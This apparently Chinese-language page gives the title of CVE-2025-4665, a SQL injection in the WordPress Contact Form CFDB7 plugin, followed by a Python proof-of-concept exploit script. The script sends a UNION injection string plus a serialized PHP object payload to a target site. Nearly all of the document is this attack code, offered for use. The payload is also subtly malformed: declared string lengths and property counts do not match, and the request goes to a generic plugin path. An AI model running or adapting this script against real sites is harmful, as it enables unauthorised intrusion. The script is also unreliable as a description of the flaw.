CVE-2025-4665 WordPress CFDB7插件SQL注入漏洞

import requests import sys # CVE-2025-4665 PoC - SQL Injection leading to PHP Object Injection # Target: WordPress plugin Contact Form CFDB7 <= 1.3.2 def exploit_sqli(target_url): """ SQL Injection payload to trigger insecure deserialization This PoC demonstrates the vulnerability in plugin endpoints """ # Target endpoint (typical CFDB7 endpoint) endpoint = f"{target_url}/wp-content/plugins/contact-form-cfdb7/" # Malicious payload for SQL injection # This payload attempts to inject serialized PHP object sql_payload = "' UNION SELECT 1,2,3,4,5,6,7,8---" # PHP Object Injection payload # O:6:"Example":2:{s:4:"data";s:10:";phpinfo();//";} object_payload = 'O:6:"Example":2:{s:4:"data";s:10:";phpinfo();//";}' # Construct the malicious request params = { 'cfdb7_function': 'get_records', 'data': sql_payload + object_payload } print(f"[*] Targeting: {target_url}") print(f"[*] Sending malicious payload...") try: response = requests.post(endpoint, data=params, timeout=10) print(f"[+] Response Status: {response.status_code}") if 'phpinfo' in response.text or 'example' in response.text.lower(): print("[!] Vulnerability confirmed - Object injection possible") return True else: print("[*] Response received - further analysis needed") return False except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url>") print(f"Example: python {sys.argv[0]} http://example.com") sys.exit(1) target = sys.argv[1] exploit_sqli(target)